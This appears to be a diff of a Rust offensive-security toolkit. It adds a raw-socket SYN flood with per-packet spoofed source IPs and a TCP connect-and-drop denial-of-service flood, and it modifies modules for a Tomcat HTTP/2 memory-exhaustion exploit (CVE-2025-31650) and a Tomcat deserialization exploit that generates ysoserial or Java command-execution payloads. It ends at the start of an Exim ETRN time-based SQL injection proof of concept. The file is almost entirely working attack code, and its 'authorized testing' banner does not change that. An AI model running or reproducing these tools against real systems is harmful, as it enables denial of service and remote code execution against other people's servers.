let mut stats = WorkerStats { packets: 0, bytes: 0 };
|
||||
|
||||
// Main send loop
|
||||
loop {
|
||||
// Check termination conditions
|
||||
if stop_flag.load(Ordering::Relaxed) || start_time.elapsed() >= duration {
|
||||
break;
|
||||
}
|
||||
|
||||
// Build packet with NEW random source IP each time if spoofing enabled
|
||||
let packet = builder.build_packet(&mut rng);
|
||||
|
||||
match socket.send_to(packet, &dst_addr) {
|
||||
Ok(_) => {
|
||||
stats.packets += 1;
|
||||
stats.bytes += packet_size;
|
||||
}
|
||||
Err(e) => {
|
||||
// Log permission errors only once
|
||||
if config.verbose && worker_id == 0 {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("ermission") || err_str.contains("EPERM") {
|
||||
eprintln!("\n{}", "[!] Root privileges required for raw sockets.".red().bold());
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Batch update global stats to reduce atomic contention
|
||||
if stats.packets >= STATS_BATCH_SIZE {
|
||||
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
|
||||
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
|
||||
stats.packets = 0;
|
||||
stats.bytes = 0;
|
||||
}
|
||||
|
||||
// Apply delay if configured
|
||||
if let Some(d) = delay {
|
||||
thread::sleep(d);
|
||||
}
|
||||
}
|
||||
|
||||
// Flush remaining stats
|
||||
if stats.packets > 0 {
|
||||
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
|
||||
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
/// Create an optimized raw socket for IP spoofing
|
||||
fn create_raw_socket() -> Result<Socket> {
|
||||
let socket = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
).context("Failed to create raw socket (requires root)")?;
|
||||
|
||||
// CRITICAL: Enable IP_HDRINCL to allow custom IP headers (required for spoofing)
|
||||
socket.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Increase send buffer for burst capacity
|
||||
let _ = socket.set_send_buffer_size(256 * 1024);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MAIN EXECUTION
|
||||
// ============================================================================
|
||||
|
||||
/// Entry point for the module
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
let config = gather_config(initial_target)?;
|
||||
execute_attack(config).await
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", r#"
|
||||
╔══════════════════════════════════════════════════════════════╗
|
||||
║ Null SYN Exhaustion Testing Module v2.1 ║
|
||||
║ High-Performance Multi-Threaded Engine ║
|
||||
║ With True IP Spoofing Support ║
|
||||
║ FOR AUTHORIZED TESTING ONLY ║
|
||||
╚══════════════════════════════════════════════════════════════╝
|
||||
"#.red().bold());
|
||||
}
|
||||
|
||||
fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
println!("{}", "=== Configuration ===".bold());
|
||||
|
||||
// Target IP
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
let target_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
|
||||
|
||||
// Target Port
|
||||
let target_port = prompt_port("Target port", 80)?;
|
||||
|
||||
// Source Port
|
||||
let src_port_input = prompt_default("Source port (blank for random)", "")?;
|
||||
let source_port = if src_port_input.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(src_port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port"))?)
|
||||
};
|
||||
|
||||
// Random Source IP
|
||||
let use_random_source_ip = prompt_yes_no(
|
||||
"Use random (spoofed) source IPs? (requires root)",
|
||||
false
|
||||
)?;
|
||||
|
||||
// Worker count - default to CPU cores for optimal performance
|
||||
let cpu_count = num_cpus::get();
|
||||
let workers_input = prompt_default(
|
||||
&format!("Worker threads (recommended: {})", cpu_count),
|
||||
&cpu_count.to_string()
|
||||
)?;
|
||||
let worker_count: usize = workers_input.parse().map_err(|_| anyhow!("Invalid number"))?;
|
||||
|
||||
if worker_count == 0 {
|
||||
return Err(anyhow!("Worker count must be > 0"));
|
||||
}
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_required("Test duration (seconds)")?;
|
||||
let duration_secs: u64 = duration_input.parse().map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
if duration_secs == 0 {
|
||||
return Err(anyhow!("Duration must be > 0"));
|
||||
}
|
||||
|
||||
// Interval Mode
|
||||
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true)?;
|
||||
let interval_mode = if zero_interval {
|
||||
IntervalMode::Zero
|
||||
} else {
|
||||
let delay_input = prompt_default("Delay between packets (microseconds)", "1000")?;
|
||||
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
|
||||
IntervalMode::DelayMicros(delay)
|
||||
};
|
||||
|
||||
// Payload Size
|
||||
let payload_input = prompt_default("Null-byte payload size", "1024")?;
|
||||
let mut payload_size: usize = payload_input.parse().map_err(|_| anyhow!("Invalid size"))?;
|
||||
|
||||
// Cap to IPv4 maximum
|
||||
const MAX_PAYLOAD: usize = 65535 - IPV4_HEADER_LEN - TCP_HEADER_LEN;
|
||||
if payload_size > MAX_PAYLOAD {
|
||||
println!("{}", format!("[!] Payload capped at {} bytes", MAX_PAYLOAD).yellow());
|
||||
payload_size = MAX_PAYLOAD;
|
||||
}
|
||||
|
||||
let verbose = prompt_yes_no("Verbose output?", false)?;
|
||||
|
||||
// Summary
|
||||
println!("\n{}", "=== Test Configuration ===".bold());
|
||||
println!(" Target: {}:{}", target_ip, target_port);
|
||||
println!(" Source Port: {}", source_port.map(|p| p.to_string()).unwrap_or_else(|| "random".into()));
|
||||
println!(" Random IP: {}", if use_random_source_ip { "yes (spoofed - NEW IP per packet)" } else { "no" });
|
||||
println!(" Workers: {} threads", worker_count);
|
||||
println!(" Duration: {}s", duration_secs);
|
||||
println!(" Interval: {:?}", interval_mode);
|
||||
println!(" Payload: {} bytes", payload_size);
|
||||
println!(" Packet Size: {} bytes", IPV4_HEADER_LEN + TCP_HEADER_LEN + payload_size);
|
||||
|
||||
if use_random_source_ip {
|
||||
println!("\n{}", "[!] IP spoofing enabled: Each packet will have a different random source IP".yellow().bold());
|
||||
}
|
||||
|
||||
if !prompt_yes_no("\nProceed with test?", true)? {
|
||||
return Err(anyhow!("Test cancelled by user"));
|
||||
}
|
||||
|
||||
Ok(ExhaustionConfig {
|
||||
target_ip,
|
||||
target_port,
|
||||
source_port,
|
||||
use_random_source_ip,
|
||||
worker_count,
|
||||
duration_secs,
|
||||
interval_mode,
|
||||
payload_size,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
|
||||
println!("\n{}", "[*] Initializing attack engine...".yellow().bold());
|
||||
|
||||
// Shared state
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let packets_sent = Arc::new(AtomicU64::new(0));
|
||||
let bytes_sent = Arc::new(AtomicU64::new(0));
|
||||
|
||||
// Detect local IP if needed (only used when NOT spoofing)
|
||||
let local_ip = if !config.use_random_source_ip {
|
||||
get_local_ipv4().unwrap_or(Ipv4Addr::new(127, 0, 0, 1))
|
||||
} else {
|
||||
Ipv4Addr::UNSPECIFIED
|
||||
};
|
||||
|
||||
if config.use_random_source_ip {
|
||||
println!("{}", "[*] IP Spoofing Mode: Each packet will use a different random source IP".green().bold());
|
||||
} else {
|
||||
println!("[*] Local IP: {}", local_ip);
|
||||
}
|
||||
|
||||
println!("[*] Spawning {} worker threads...", config.worker_count);
|
||||
|
||||
let start_time = Instant::now();
|
||||
let duration = Duration::from_secs(config.duration_secs);
|
||||
|
||||
// Spawn native OS threads (not tokio tasks - blocking I/O)
|
||||
let mut handles = Vec::with_capacity(config.worker_count);
|
||||
|
||||
for worker_id in 0..config.worker_count {
|
||||
let config = config.clone();
|
||||
let stop = stop_flag.clone();
|
||||
let pkts = packets_sent.clone();
|
||||
let bts = bytes_sent.clone();
|
||||
|
||||
let handle = thread::spawn(move || {
|
||||
worker_thread(worker_id, config, local_ip, stop, pkts, bts, start_time);
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
println!("{}", "[*] Attack started!".green().bold());
|
||||
|
||||
// Stats display loop (async-friendly)
|
||||
let stats_stop = stop_flag.clone();
|
||||
let stats_pkts = packets_sent.clone();
|
||||
let stats_bytes = bytes_sent.clone();
|
||||
|
||||
let stats_task = tokio::spawn(async move {
|
||||
while !stats_stop.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
|
||||
let pkts = stats_pkts.load(Ordering::Relaxed);
|
||||
let bytes = stats_bytes.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs_f64();
|
||||
|
||||
let rate = if elapsed > 0.0 { pkts as f64 / elapsed } else { 0.0 };
|
||||
let mbps = if elapsed > 0.0 { (bytes as f64 * 8.0) / (elapsed * 1_000_000.0) } else { 0.0 };
|
||||
|
||||
print!("\r{}", format!(
|
||||
"[*] Packets: {:>10} | {:>7.2} MB | Rate: {:>9.0} pkt/s | {:>6.2} Mbps ",
|
||||
pkts,
|
||||
bytes as f64 / (1024.0 * 1024.0),
|
||||
rate,
|
||||
mbps
|
||||
).dimmed());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
});
|
||||
|
||||
// Wait for test duration
|
||||
tokio::time::sleep(duration).await;
|
||||
|
||||
// Signal workers to stop
|
||||
stop_flag.store(true, Ordering::SeqCst);
|
||||
|
||||
// Wait for all workers to finish
|
||||
for handle in handles {
|
||||
let _ = handle.join();
|
||||
}
|
||||
|
||||
stats_task.abort();
|
||||
|
||||
// Final statistics
|
||||
let total_pkts = packets_sent.load(Ordering::Relaxed);
|
||||
let total_bytes = bytes_sent.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed();
|
||||
let elapsed_secs = elapsed.as_secs_f64();
|
||||
|
||||
println!("\n\n{}", "=== Attack Complete ===".green().bold());
|
||||
println!(" Duration: {:.2}s", elapsed_secs);
|
||||
println!(" Total Packets: {}", total_pkts);
|
||||
println!(" Total Data: {:.2} MB", total_bytes as f64 / (1024.0 * 1024.0));
|
||||
|
||||
if elapsed_secs > 0.0 {
|
||||
println!(" Avg Rate: {:.0} pkt/s", total_pkts as f64 / elapsed_secs);
|
||||
println!(" Avg Bandwidth: {:.2} Mbps", (total_bytes as f64 * 8.0) / (elapsed_secs * 1_000_000.0));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn get_local_ipv4() -> Option<Ipv4Addr> {
|
||||
use std::net::UdpSocket;
|
||||
let socket = UdpSocket::bind("0.0.0.0:0").ok()?;
|
||||
socket.connect("8.8.8.8:80").ok()?;
|
||||
match socket.local_addr().ok()?.ip() {
|
||||
IpAddr::V4(ip) => Some(ip),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,253 @@
|
||||
use anyhow::{Result, anyhow, Context};
|
||||
use colored::*;
|
||||
use tokio::io::AsyncWriteExt; // Required for stream.shutdown()
|
||||
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::Instant;
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
|
||||
};
|
||||
|
||||
/// Configuration for the connection flood
|
||||
#[derive(Clone, Debug)]
|
||||
struct TcpFloodConfig {
|
||||
target_addr: String, // Host:Port (Display only)
|
||||
resolved_addrs: Vec<SocketAddr>, // Pre-resolved addresses
|
||||
concurrent_connections: usize,
|
||||
duration_secs: u64,
|
||||
timeout_ms: u64,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
/// Entry point for the module
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let config = setup_wizard(initial_target).await?;
|
||||
execute_flood(&config).await
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", r#"
|
||||
╔══════════════════════════════════════════════════════════════╗
|
||||
║ TCP Connection Flood (Connect & Drop) ║
|
||||
║ High-Performance Handshake Exhaustion ║
|
||||
╚══════════════════════════════════════════════════════════════╝
|
||||
"#.red().bold());
|
||||
}
|
||||
|
||||
async fn setup_wizard(initial_target: &str) -> Result<TcpFloodConfig> {
|
||||
println!("{}", "=== Configuration ===".blue().bold());
|
||||
|
||||
// Target
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
};
|
||||
|
||||
// Normalize and extract details
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// If normalized already has port, use it, else ask
|
||||
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
|
||||
let parsed_port = p.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
let p = prompt_port("Target Port", 80)?;
|
||||
(normalized, p)
|
||||
};
|
||||
|
||||
let target_addr = format!("{}:{}", host, port);
|
||||
|
||||
// Pre-resolve DNS
|
||||
println!("{}", format!("[*] Resolving {}...", target_addr).yellow());
|
||||
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_addr).await
|
||||
.context("Failed to resolve target hostname")?
|
||||
.collect();
|
||||
|
||||
if resolved_addrs.is_empty() {
|
||||
return Err(anyhow!("Could not resolve target address"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Resolved to: {:?}", resolved_addrs).green());
|
||||
|
||||
// Concurrency
|
||||
let concurrency_input = prompt_default("Concurrent Connections", "500")?;
|
||||
let concurrent_connections: usize = concurrency_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for concurrency"))?;
|
||||
|
||||
if concurrent_connections == 0 {
|
||||
return Err(anyhow!("Concurrency must be > 0"));
|
||||
}
|
||||
|
||||
// Timeout
|
||||
let timeout_input = prompt_default("Connection Timeout (ms)", "1000")?;
|
||||
let timeout_ms: u64 = timeout_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid timeout"))?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Output (show errors)?", false)?;
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_secs: u64 = duration_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
println!("\n{}", "=== Attack Summary ===".bold());
|
||||
println!(" Target: {}", target_addr.cyan());
|
||||
println!(" IP(s): {:?}", resolved_addrs);
|
||||
println!(" Concurrency: {}", concurrent_connections);
|
||||
println!(" Duration: {}", if duration_secs == 0 {
|
||||
"INFINITE (Ctrl+C to stop)".to_string()
|
||||
} else {
|
||||
format!("{}s", duration_secs)
|
||||
});
|
||||
println!(" Mode: Connect & Drop (Handshake Stress)");
|
||||
|
||||
if !prompt_yes_no("Start Attack?", true)? {
|
||||
return Err(anyhow!("Attack cancelled by user"));
|
||||
}
|
||||
|
||||
Ok(TcpFloodConfig {
|
||||
target_addr,
|
||||
resolved_addrs,
|
||||
concurrent_connections,
|
||||
duration_secs,
|
||||
timeout_ms,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
|
||||
println!("\n{}", "[*] Starting TCP Connection Flood...".yellow().bold());
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats_established = Arc::new(AtomicU64::new(0));
|
||||
let stats_failed = Arc::new(AtomicU64::new(0));
|
||||
|
||||
let start_time = Instant::now();
|
||||
let duration = Duration::from_secs(config.duration_secs);
|
||||
let timeout_duration = Duration::from_millis(config.timeout_ms);
|
||||
|
||||
// Use the first resolved address for speed/simplicity
|
||||
// In a more complex version, we could round-robin, but for DoS, hitting one IP hard is usually the goal.
|
||||
let target_ip = config.resolved_addrs[0];
|
||||
|
||||
// Stats Printer
|
||||
let s_stop = stop_flag.clone();
|
||||
let s_est = stats_established.clone();
|
||||
let s_fail = stats_failed.clone();
|
||||
let s_start = start_time;
|
||||
|
||||
let stats_handle = tokio::spawn(async move {
|
||||
while !s_stop.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
let est = s_est.load(Ordering::Relaxed);
|
||||
let fail = s_fail.load(Ordering::Relaxed);
|
||||
let elapsed = s_start.elapsed().as_secs_f64().max(0.001);
|
||||
let rate = est as f64 / elapsed;
|
||||
|
||||
print!("\r{}", format!(
|
||||
"[*] Connected: {} | Failed: {} | Rate: {:.1} conn/s",
|
||||
est, fail, rate
|
||||
).dimmed());
|
||||
use std::io::Write;
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
});
|
||||
|
||||
// Fixed Pool of Workers
|
||||
let mut handles = Vec::with_capacity(config.concurrent_connections);
|
||||
|
||||
for _ in 0..config.concurrent_connections {
|
||||
let stop = stop_flag.clone();
|
||||
let est = stats_established.clone();
|
||||
let fail = stats_failed.clone();
|
||||
let cfg_timeout = timeout_duration;
|
||||
let verbose = config.verbose;
|
||||
let target = target_ip; // SocketAddr is Copy, so this is cheap and efficient
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut err_counter = 0u64;
|
||||
|
||||
while !stop.load(Ordering::Relaxed) {
|
||||
// Try to connect using the pre-resolved IP
|
||||
// This skips DNS resolution on every attempt
|
||||
match tokio::time::timeout(cfg_timeout, TcpStream::connect(target)).await {
|
||||
Ok(Ok(mut stream)) => {
|
||||
// Connected!
|
||||
est.fetch_add(1, Ordering::Relaxed);
|
||||
// "Connect & Drop" - Immediate shutdown sends FIN
|
||||
let _ = stream.shutdown().await;
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection failed (refused, network unreachable, etc.)
|
||||
fail.fetch_add(1, Ordering::Relaxed);
|
||||
if verbose {
|
||||
err_counter = err_counter.wrapping_add(1);
|
||||
// Log ~0.1% of errors
|
||||
if err_counter % 1000 == 0 {
|
||||
eprintln!("\n[!] Conn Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Timeout
|
||||
fail.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
// No sleep - max speed
|
||||
}
|
||||
});
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Wait for duration or Ctrl+C
|
||||
if config.duration_secs > 0 {
|
||||
tokio::time::sleep(duration).await;
|
||||
} else {
|
||||
println!(
|
||||
"\n{}",
|
||||
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
|
||||
);
|
||||
let _ = tokio::signal::ctrl_c().await;
|
||||
}
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
|
||||
// Return cursor to new line after stats
|
||||
println!();
|
||||
println!("{}", "[*] Stopping threads...".yellow());
|
||||
|
||||
// Wait for workers to finish (graceful shutdown)
|
||||
// In a massive flood, we might not strictly wait for all if they are hung, but with timeout they should finish.
|
||||
// We can just detach them or await them. Awaiting ensures clean exit.
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
// Stop stats thread
|
||||
let _ = stats_handle.await;
|
||||
|
||||
// Final Report
|
||||
let total_est = stats_established.load(Ordering::Relaxed);
|
||||
let total_fail = stats_failed.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("\n{}", "=== Attack Complete ===".green().bold());
|
||||
println!("Target: {}", config.target_addr);
|
||||
println!("Duration: {:.2}s", elapsed);
|
||||
println!("Total Connections: {}", total_est);
|
||||
println!("Failed Attempts: {}", total_fail);
|
||||
|
||||
if elapsed > 0.0 {
|
||||
println!("Average Rate: {:.1} conn/s", total_est as f64 / elapsed);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
+10
-4
@@ -2,11 +2,11 @@ use anyhow::{anyhow, bail, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::{ClientBuilder};
|
||||
use std::io::{self, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::time::Duration;
|
||||
use tokio::time::sleep;
|
||||
use rand::prelude::IndexedRandom;
|
||||
use std::io::Write;
|
||||
|
||||
/// TomcatKiller - CVE-2025-31650
|
||||
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
|
||||
@@ -69,10 +69,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
fn prompt_for_port() -> Option<u16> {
|
||||
print!("{}", "Enter target port (default 443): ".cyan());
|
||||
io::stdout().flush().ok()?;
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.ok()?;
|
||||
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer).ok()?;
|
||||
std::io::stdin()
|
||||
.read_line(&mut buffer)
|
||||
.ok()?;
|
||||
|
||||
let trimmed = buffer.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -135,7 +139,9 @@ async fn send_invalid_priority_requests(host: String, port: u16, count: usize, t
|
||||
let url = format!("https://{}:{}/", host, port);
|
||||
|
||||
for _ in 0..count {
|
||||
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
|
||||
let prio = priorities.choose(&mut rand::rng())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| "u=0".to_string());
|
||||
let headers = [
|
||||
("priority", prio),
|
||||
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
|
||||
+33
-35
@@ -1,10 +1,11 @@
|
||||
use anyhow::{bail, Result};
|
||||
use crate::utils::{validate_command_input, normalize_target, prompt_default, prompt_port};
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::process::{Command, Stdio};
|
||||
use std::time::Duration;
|
||||
|
||||
use tokio::fs::{read, remove_file};
|
||||
|
||||
const BANNER: &str = r#"
|
||||
@@ -16,29 +17,7 @@ const BANNER: &str = r#"
|
||||
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
|
||||
"#;
|
||||
|
||||
/// // Sanitize IPv6 URL
|
||||
fn sanitize_target(raw: &str) -> String {
|
||||
let fixed = raw.replace("[[", "[").replace("]]", "]");
|
||||
if fixed.starts_with("http://") || fixed.starts_with("https://") {
|
||||
fixed
|
||||
} else {
|
||||
format!("http://{}", fixed)
|
||||
}
|
||||
}
|
||||
|
||||
/// // Prompt helper
|
||||
fn prompt(message: &str, default: Option<&str>) -> String {
|
||||
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
|
||||
io::stdout().flush().unwrap();
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf).unwrap();
|
||||
let input = buf.trim();
|
||||
if input.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
} else {
|
||||
input.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if server is writable
|
||||
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
|
||||
@@ -64,6 +43,7 @@ async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, p
|
||||
|
||||
/// // Generate a raw Java payload JAR via `javac` and `jar`
|
||||
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
|
||||
// Command is already validated before calling this function
|
||||
let payload_java = format!(
|
||||
r#"
|
||||
import java.io.IOException;
|
||||
@@ -205,7 +185,15 @@ async fn execute_exploit(
|
||||
payload_type: &str,
|
||||
verify_ssl: bool,
|
||||
) -> Result<()> {
|
||||
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
|
||||
// Extract host from URL safely
|
||||
let host = target_url
|
||||
.split("://")
|
||||
.nth(1)
|
||||
.unwrap_or(target_url)
|
||||
.trim_matches('/')
|
||||
.split(':')
|
||||
.next()
|
||||
.ok_or_else(|| anyhow::anyhow!("Failed to extract host from URL: {}", target_url))?;
|
||||
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
|
||||
let session_id = get_session_id(&client, target_url).await?;
|
||||
|
||||
@@ -213,10 +201,14 @@ async fn execute_exploit(
|
||||
|
||||
if check_writable_servlet(&client, target_url, host, port).await? {
|
||||
let payload_file = "payload.ser";
|
||||
|
||||
// Validate command input to prevent injection
|
||||
let validated_command = validate_command_input(command)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid command: {}", e))?;
|
||||
|
||||
match payload_type {
|
||||
"java" => generate_java_payload(command, payload_file)?,
|
||||
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
|
||||
"java" => generate_java_payload(&validated_command, payload_file)?,
|
||||
"ysoserial" => generate_ysoserial_payload(&validated_command, ysoserial_path, gadget, payload_file)?,
|
||||
_ => bail!("[-] Invalid payload type: {}", payload_type),
|
||||
}
|
||||
|
||||
@@ -236,11 +228,13 @@ async fn execute_exploit(
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{BANNER}");
|
||||
|
||||
let mut target = sanitize_target(target);
|
||||
let scheme = if target.starts_with("https://") { "https" } else { "http" };
|
||||
let normalized = normalize_target(target)?;
|
||||
let mut target = format!("{}://{}", scheme, normalized);
|
||||
println!("[+] Target sanitized: {}", target);
|
||||
|
||||
let mut command = String::from("calc.exe");
|
||||
let mut port = prompt("Enter port (default 8080)", Some("8080"));
|
||||
let mut port = prompt_port("Enter port", 8080)?.to_string();
|
||||
println!("[+] Default port set to {}", port);
|
||||
|
||||
let mut ysoserial_path = String::from("ysoserial.jar");
|
||||
@@ -264,30 +258,34 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"#
|
||||
);
|
||||
|
||||
let selection = prompt("Select an option", None);
|
||||
let selection = prompt_default("Select an option", "")?;
|
||||
match selection.as_str() {
|
||||
"1" => {
|
||||
target = prompt("Enter target URL", Some(&target));
|
||||
let raw_input = prompt_default("Enter target URL", &target)?;
|
||||
let scheme = if raw_input.starts_with("https://") { "https" } else { "http" };
|
||||
let normalized = normalize_target(&raw_input)?;
|
||||
target = format!("{}://{}", scheme, normalized);
|
||||
println!("[+] Target updated: {target}");
|
||||
}
|
||||
"2" => {
|
||||
command = prompt("Enter command to execute", Some(&command));
|
||||
command = prompt_default("Enter command to execute", &command)?;
|
||||
println!("[+] Command set: {command}");
|
||||
}
|
||||
"3" => {
|
||||
port = prompt("Enter port", Some(&port));
|
||||
let p_u16 = prompt_port("Enter port", port.parse().unwrap_or(8080))?;
|
||||
port = p_u16.to_string();
|
||||
println!("[+] Port set: {port}");
|
||||
}
|
||||
"4" => {
|
||||
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
|
||||
ysoserial_path = prompt_default("Path to ysoserial.jar", &ysoserial_path)?;
|
||||
println!("[+] ysoserial path set: {ysoserial_path}");
|
||||
}
|
||||
"5" => {
|
||||
gadget = prompt("Enter gadget", Some(&gadget));
|
||||
gadget = prompt_default("Enter gadget", &gadget)?;
|
||||
println!("[+] Gadget set: {gadget}");
|
||||
}
|
||||
"6" => {
|
||||
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
|
||||
payload_type = prompt_default("Payload type (ysoserial/java)", &payload_type)?;
|
||||
if payload_type != "ysoserial" && payload_type != "java" {
|
||||
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
|
||||
payload_type = "ysoserial".into();
|
||||
@@ -0,0 +1,88 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use std::time::Duration;
|
||||
use tokio::time::Instant;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_port};
|
||||
|
||||
/// Exim ETRN SQL Injection (CVE-2025-26794)
|
||||
///
|
||||
/// Time-based SQL injection in Exim's ETRN command when using SQLite backend.
|
||||
/// Ported from PHP PoC.
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
let target_ip = normalize_target(&raw_ip)?;
|
||||
|
||||
// User requested port selection. Default is 25.
|
||||
let port: u16 = prompt_port("Target Port", 25)?;
|
||||
|
||||
println!("{} Target: {}:{}", "[*]".blue(), target_ip, port);
|
||||
|
||||
// Test logic:
|
||||
// 1. Normal Request: "ETRN #test" -> Measure Time
|
||||
// 2. Delayed Request: "ETRN #',1); SELECT ... RANDOMBLOB(10000000) ..." -> Measure Time
|
||||
// 3. Compare difference.
|
||||
|
||||
let normal_time = measure_response(&target_ip, port, "ETRN #test\r\n").await?;
|
||||
println!("{} Normal Response Time: {:.3}s", "[*]".blue(), normal_time.as_secs_f64());
|
||||
|
||||
